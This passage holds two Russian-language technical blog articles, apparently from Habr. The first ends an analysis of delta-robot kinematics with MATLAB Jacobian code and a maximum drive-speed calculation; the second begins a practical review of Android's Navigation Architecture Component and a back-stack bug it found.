- Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) + ((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)*((X_V(k)/2 + (3^(1/2)*Y_V(k))/2)^2 + (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2))/(4*R_l*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - ((X_V(k)/2 + (3^(1/2)*Y_V(k))/2)^2 + (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2)^2/(4*R_l^2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)))^(1/2) + ((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/(2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)) - 1/(2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)))/(1 - (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2))^(1/2), (Z_V(k)/(R_l*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - (Z_V(k)*((X_V(k)/2 + (3^(1/2)*Y_V(k))/2)^2 + (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2))/(2*R_l*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - ((X_V(k)/2 + (3^(1/2)*Y_V(k))/2)^2 + (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2)^2/(4*R_l^2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)))^(1/2) - (Z_V(k)*(OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2))/((1 - (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2))^(1/2)*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2));
((X_V(k)/2 - (3^(1/2)*Y_V(k))/2 + 3^(1/2)*(VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2))/(2*R_l*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - (3^(1/2)*(VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)*((X_V(k)/2 - (3^(1/2)*Y_V(k))/2)^2 + (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2))/(4*R_l*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - ((X_V(k)/2 - (3^(1/2)*Y_V(k))/2)^2 + (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2)^2/(4*R_l^2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)))^(1/2) - (3^(1/2)/(2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - (3^(1/2)*(VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2)/(2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2))^(1/2), ((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2 - 3^(1/2)*(X_V(k)/2 - (3^(1/2)*Y_V(k))/2))/(2*R_l*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - ((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)*((X_V(k)/2 - (3^(1/2)*Y_V(k))/2)^2 + (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2))/(4*R_l*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - ((X_V(k)/2 - (3^(1/2)*Y_V(k))/2)^2 + (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2)^2/(4*R_l^2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)))^(1/2) + ((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/(2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)) - 1/(2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)))/(1 - (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2))^(1/2), (Z_V(k)/(R_l*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - (Z_V(k)*((X_V(k)/2 - (3^(1/2)*Y_V(k))/2)^2 + (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2))/(2*R_l*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - ((X_V(k)/2 - (3^(1/2)*Y_V(k))/2)^2 + (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2)^2/(4*R_l^2*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)))^(1/2) + (Z_V(k)*(VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2))/((1 - (VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2))^(1/2)*((VM - OQ + Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2))];
v_V = [v_VX(k); v_VY(k); v_VZ(k)];
w = J*v_V;
w1_mat(k) = w(1);
end
%Находим производную Tetta1_vect графически
%Перевод в радианы
Tetta1_vect = Tetta1_vect*pi/180;
w1_der = diff([Tetta1_vect, Tetta1_vect(1)])./dTime;
%Отображаем скорость первого рычага на графиках
figure
hold on;
subplot(2, 2, 1);
plot(Time, w1_der*30/pi);
grid on;
xlabel('t, c');
ylabel('\omega, об/мин');
title('Грифическое дифференцирование');
axis([0, 2.1, -55, 55]);
subplot(2, 2, 2);
plot(Time, w1*30/pi);
grid on;
xlabel('t, c');
ylabel('\omega, об/мин');
title('Аналитический метод');
axis([0, 2.1, -55, 55]);
subplot(2, 2, 3);
plot(Time, w1_pv*30/pi);
grid on;
xlabel('t, c');
ylabel('\omega, об/мин');
title('Метод планов');
axis([0, 2.1, -55, 55]);
subplot(2, 2, 4);
plot(Time, w1_mat*30/pi);
grid on;
xlabel('t, c');
ylabel('\omega, об/мин');
title('Матричный мотод');
axis([0, 2.1, -55, 55]);
hold off;
```
Тут используется функция, которую я демонстрировал в первом подходе, функция, решающая ОЗК, которую я давал ранее и код, в котором объявляются константы (InputConstant;):
```
%Задаём параметры механизма
global f F R_l R_r cos120 sin120 cos240 sin240 VM OQ
f = 110; %Длина стороны треугольника платформы
F = 270; %Длина стороны треугольника основания
R_l = 170; %Длина рычагов
R_r = 320; %Длина штанг
%Расчёт констант
cos120 = cosd(120);
sin120 = sind(120);
cos240 = cosd(240);
sin240 = sind(240);
VM = f*sqrt(3)/6;
OQ = F*sqrt(3)/6;
```
Я это всё слепил из того, что было. Можно оформить это "красивше".
Добавив к коду выше вот это:
```
dim = [f F R_l R_r];
figure
for k = 1:Diskr
V = [X_V(k), Y_V(k), Z_V(k)];
[Theta1, Theta2, Theta3] = OZK(X_V(k), Y_V(k), Z_V(k));
Theta = [Theta1, Theta2, Theta3];
drawDelta(dim, V, Theta)%Это я накидывал бонусом ранее
axis([-250, 250, -250, 250, -390, 100]);
hold on;
plot3(X_V(1:k), Y_V(1:k), Z_V(1:k),'LineWidth', 1.5, 'Color', 'r');
hold off;
drawnow
pause(dTime(k)*20);
end
```
Можно получить вот такую симуляцию работы (я замедлил отрисовку в 20 раз, а потом на видео ускорил в 65 раз, а то MATLAB на моём слабеньком ноуте не успевал считать):
Да, так быстро дельта-робот может и должен двигаться – 2.1 секунды на всю траекторию. Скорость платформы, кстати, 1 м/с.
Поиск максимальной скорости привода
-----------------------------------
Пришло время использовать то, что мы получили ранее. Для поиска максимальной скорости привода возьмём размеры робота, найденные в ходе [предыдущей](https://habr.com/ru/post/583190/) работы.
Первым делом сгенерируем массив точек для анализа внутри желаемой рабочей зоны:
Не забываем, что дельта-робот имеет симметрию и достаточно рассмотреть лишь 1/6 рабочей зоны.
Вот моя реализация этого алгоритма:
Функция genTP
```
%Генерирует массив точек для анализа
function [TestPointsX, TestPointsY, TestPointsZ] = genTP()
%Добавляем глобальные переменные входных и выходных данных
global WZ_D WZ_H WZ_Z WZ_d WZ_h %Рабочая зона
global addSeg %Переменная, показывающая необходимость дополнительного
%сегмента в рабочей зоне
global dotDensity %Плотность точек
%Для тестирования
dotDensity = 30;
WZ_D = 320;
WZ_d = 100;
WZ_d = 562;
WZ_H = 150;
WZ_Z = -390;
WZ_h = 50;
addSeg = 0;
%Задаём массив точек, заведомо покрывающий интересующий нас участок рабочей
%зоны
x = linspace(-WZ_D/2, 0, dotDensity);
y = linspace(-WZ_D/2, 0, dotDensity);
z = linspace(WZ_Z-WZ_h, WZ_Z+WZ_H, dotDensity);
[X, Y, Z] = meshgrid(x, y, z);
X = reshape(X, [1, size(X, 1)^3, 1]);
Y = reshape(Y, [1, size(Y, 1)^3, 1]);
Z = reshape(Z, [1, size(Z, 1)^3, 1]);
%Находим индексы точек, попадающих в цилиндрическую область
inCil = X.^2+Y.^2 <= (WZ_D/2)^2;
%И попадающих в сектр 60°
inSec = Y < tand(30)*X;
%Находим инексы точек попадающих
%1 Только в цилиндрическую РЗ
if addSeg == 0
inDopSeg = Z > WZ_Z;
end
%В цилиндрическую РЗ и усёчённый конус
if addSeg == 1
z0 = WZ_Z - WZ_h*(WZ_D/2)/((WZ_D-WZ_d)/2);
a2_c2 = ((WZ_D/2)/(WZ_Z-z0))^2;
inDopSeg = X.^2 + Y.^2 <= a2_c2*(Z-z0).^2;
end
%В цилиндрическую РЗ и в часть сферы
if addSeg == 2
inDopSeg = (X.^2 + Y.^2 + (Z-(WZ_Z-WZ_h+WZ_d/2)).^2 <= (WZ_d/2)^2)|(Z > WZ_Z);
end
%Формируем индексы точек, удовлетворяющих всем условиям
inWZ = inCil & inDopSeg & inSec;
TestPointsX = X(inWZ);
TestPointsY = Y(inWZ);
TestPointsZ = Z(inWZ);
%Тестовая отрисовка точек
plot3(X(inWZ), Y(inWZ), Z(inWZ), '.r');
xlabel('x, мм');
ylabel('y, мм');
zlabel('z, мм');
grid on;
end
```
Теперь в каждой точке нам нужно нужно найти угловые скорости рычагов (скорости приводов) при движении исполнительного звена в этой точке с максимальной требуемой скоростью.
Но ведь скорость входных звеньев зависит ещё и от *направления* движения выходного звена. Значит для каждой точки нужно рассмотреть ещё и массив направлений. Например точек для анализа у нас будет 1000. Направлений в каждой точке 100, тогда всего нам придётся запускать цикл поиска входных скоростей 100 000 раз. Многовато, не правда ли? Я так и сделал изначально. MATLAB считал секунд 40, но направлений я брал всего 22 в каждой точке:
Помимо того, что это долго, у нас ещё есть риск, что максимальная скорость будет чуть больше из-за того, что мы не проверили самое "наихудшее" направление.
Правильным подходом здесь является запуск алгоритма в каждой тестовой точке лишь с одним, но "наихудшим" направлением вектора скорости. Оказывается, можно это "наихудшее" направление заранее узнать.
Вот тут на помощь как раз приходит матричный метод. Скорость i-го привода мы вычисляем путём умножения вектора строки Якобиана на вектор столбец скорости рабочего органа:
(17)Данное векторное произведение достигает своего максимума тогда, когда эти вектора являются коллинеарными. Если опустить все доказательства, то можно сказать, что для дельта-робота справедлива следующая формула:
(18)Эта запись математически звучит так: "произведение длины вектора максимальной скорости платформы на евклидовой норму i-ой строки обратной матрицы Якоби". Звучит жутко, но записывается коротко, а считается быстро.
Посчитав для каждой точки для всех трёх приводов по этой формуле максимальную угловую скорость привода и найдя среди итих значений максимум, мы и получим максимальную скорость привода.
Вот коротенький код:
Итоговый код для определения максимальной скорости привода
```
%Задаём начальное значение
wmax = 0;
%Задаём входные данные
vmax = 1000;
R_l = 170;
R_r = 320;
OQ = 77.9423;
VM = 23.094;
cos120 = cosd(120);
sin120 = sind(120);
cos240 = cosd(240);
sin240 = sind(240);
[TestPointsX, TestPointsY, TestPointsZ] = genTP();
%Запускаем цикл проверки в кажой точке
for k = 1:size(TestPointsX, 2)
J = [ TestPointsX(k)/(R_l*(1 - ((OQ - VM + TestPointsY(k))^2 + R_l^2 - R_r^2 + TestPointsX(k)^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)))^(1/2)*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(1/2)), ((2*OQ - 2*VM + 2*TestPointsY(k))/(2*R_l*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(1/2)) - ((2*OQ - 2*VM + 2*TestPointsY(k))*((OQ - VM + TestPointsY(k))^2 + R_l^2 - R_r^2 + TestPointsX(k)^2 + TestPointsZ(k)^2))/(4*R_l*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((OQ - VM + TestPointsY(k))^2 + R_l^2 - R_r^2 + TestPointsX(k)^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)))^(1/2) + (1/((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(1/2) - ((2*OQ - 2*VM + 2*TestPointsY(k))*(OQ - VM + TestPointsY(k)))/(2*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(3/2)))/(1 - (OQ - VM + TestPointsY(k))^2/((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2))^(1/2), (TestPointsZ(k)/(R_l*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(1/2)) - (TestPointsZ(k)*((OQ - VM + TestPointsY(k))^2 + R_l^2 - R_r^2 + TestPointsX(k)^2 + TestPointsZ(k)^2))/(2*R_l*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((OQ - VM + TestPointsY(k))^2 + R_l^2 - R_r^2 + TestPointsX(k)^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)))^(1/2) - (TestPointsZ(k)*(OQ - VM + TestPointsY(k)))/(((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2)^(3/2)*(1 - (OQ - VM + TestPointsY(k))^2/((OQ - VM + TestPointsY(k))^2 + TestPointsZ(k)^2))^(1/2));
(3^(1/2)/(2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - (3^(1/2)*(OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2)/(2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2))^(1/2) + ((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2 + 3^(1/2)*(OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2))/(2*R_l*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - (3^(1/2)*(OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)*((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2)^2 + (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2))/(4*R_l*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2)^2 + (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)))^(1/2), ((VM - OQ + TestPointsY(k)/2 - (3^(1/2)*TestPointsX(k))/2 + 3^(1/2)*(TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2))/(2*R_l*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) + ((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)*((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2)^2 + (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2))/(4*R_l*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2)^2 + (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)))^(1/2) + ((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/(2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)) - 1/(2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)))/(1 - (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2))^(1/2), (TestPointsZ(k)/(R_l*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - (TestPointsZ(k)*((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2)^2 + (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2))/(2*R_l*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((TestPointsX(k)/2 + (3^(1/2)*TestPointsY(k))/2)^2 + (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)))^(1/2) - (TestPointsZ(k)*(OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2))/((1 - (OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2))^(1/2)*((OQ - VM - TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2));
((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2 + 3^(1/2)*(VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2))/(2*R_l*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - (3^(1/2)*(VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)*((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2)^2 + (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2))/(4*R_l*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2)^2 + (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)))^(1/2) - (3^(1/2)/(2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - (3^(1/2)*(VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2)/(2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2))^(1/2), ((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2 - 3^(1/2)*(TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2))/(2*R_l*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - ((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)*((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2)^2 + (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2))/(4*R_l*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2)^2 + (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)))^(1/2) + ((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/(2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)) - 1/(2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)))/(1 - (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2))^(1/2), (TestPointsZ(k)/(R_l*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(1/2)) - (TestPointsZ(k)*((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2)^2 + (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2))/(2*R_l*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2)))/(1 - ((TestPointsX(k)/2 - (3^(1/2)*TestPointsY(k))/2)^2 + (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + R_l^2 - R_r^2 + TestPointsZ(k)^2)^2/(4*R_l^2*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)))^(1/2) + (TestPointsZ(k)*(VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2))/((1 - (VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2/((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2))^(1/2)*((VM - OQ + TestPointsY(k)/2 + (3^(1/2)*TestPointsX(k))/2)^2 + TestPointsZ(k)^2)^(3/2))];
w_max_TP = [norm(J(1, :))*vmax, norm(J(2, :))*vmax, norm(J(3, :))*vmax];
%Находим максимум скорости рычагов
wmax = max([abs(w_max_TP), wmax]);
end
n = 30*wmax/pi
```
Тут используем лишь одну пользовательскую функцию genTP(), которую я давал ранее.
В следующей статье найдём максимальны крутящий момент и порассуждаем, какие комплектующие для привода стоит выбирать. Затронем вопрос точности привода. | https://habr.com/ru/post/585260/ | null | ru | null |
# Navigation Architecture Component. Практический взгляд
На недавнем [Google IO 2018](https://www.youtube.com/playlist?list=PLOU2XLYxmsIInFRc3M44HUTQc3b_YJ4-Y) в числе прочего было [представлено решение](https://www.youtube.com/watch?v=8GCXtCjtg40), помогающее в реализации навигации в приложениях.
Сразу бросилось в глаза то, что граф навигации можно просмотреть в UI редакторе, чем-то напоминающем сториборды из iOS-разработки. Это действительно интересно и ново для Android-разработчиков.
А так как я еще являюсь создателем довольно популярной библиотеки [Cicerone](https://github.com/terrakok/Cicerone), которая позволяет работать с навигацией на андроиде, то я получил множество вопросов на тему того, пора ли мигрировать на решение Google, и чем оно лучше/хуже. Поэтому, как только появилось свободное время, я создал тестовый проект и стал разбираться.
### Постановка задачи
Я не буду повторять вводные слова про новый архитектурный компонент Navigation Architecture Component, про настройку проекта и основные сущности в библиотеке ([это уже сделал Саша Блинов](https://habr.com/company/hh/blog/358414/)), а пойду с практической стороны и попробую библиотеку в бою, изучу возможности и применимость к реальным кейсам.
Я накидал на листе бумаги граф экранов с переходами, которые хотел бы реализовать.
> Хочу отметить, что навигация в данном случае рассматривается в пределах одного Activity, такой подход я практикую уже не на первом проекте, и он себя отлично показал (обсуждение этого подхода — не цель данной статьи).
Таким графом я постарался описать наиболее частые кейсы, которые встречаются в приложениях:
1. A — стартовый экран. С него приложение начинает работу при запуске из меню.
2. Есть несколько прямолинейных переходов: A->B, B->C, C->E, B->F
3. Из A можно запустить отдельный флоу a-b
4. Из F можно переходить на новые экраны F, выстраивая цепочку одинаковых F-F-F-...
5. Из F тоже можно запустить флоу a-b
6. Флоу a-b — это последовательность двух экранов, где с экрана b можно выйти из флоу на тот экран, с которого был произведен запуск флоу
7. Из экрана C можно перейти на D, заменив экран, то есть, из цепочки A-B-C, перейти к A-B-D
8. Из экрана E можно перейти на D, заменив два экрана, то есть из цепочки A-B-C-E, перейти к A-B-D
9. С экрана E можно вернуться на экран B
10. С экрана D можно вернуться на экран A
### Реализация
После переноса такого графа в код тестового Android-приложения получилось красиво:
На первый взгляд, очень похоже на ожидаемый результат, но давайте по порядку.
**1.** Стартовый экран устанавливается свойством
```
app:startDestination="@id/AFragment"
```
работает как и предполагалось, приложение запускается именно с него.
**2.** Прямолинейные переходы выглядят и работают тоже правильно
**3. и 5.** Вложенная навигация легко описывается и запускается как простой экран. И тут **первое интересное свойство**: я ожидал, что вложенная навигация будет как-то связана с вложенными фрагментами, но оказалось, что это просто удобное представление в UI-графе, а на практике **все работает на одном общем стеке фрагментов**.
**4.** Запуск цепочки одинаковых экранов делается без проблем. И тут можно воспользоваться **специальным свойством перехода**
```
app:launchSingleTop="true"
```
При указании этого режима перед переходом на новый экран будет проверка текущего верхнего экрана в стеке. Если новый и текущий экраны совпадают по типу, текущий экран будет удален, то есть верхний экран будет постоянно пересоздаваться, не увеличивая стек.
Тут скрыт **первый баг**: если открыть несколько раз экран F с параметром `app:launchSingleTop="true"`, а потом нажать кнопку «назад», то будет произведен возврат на экран B, но экран F останется «висеть» сверху.
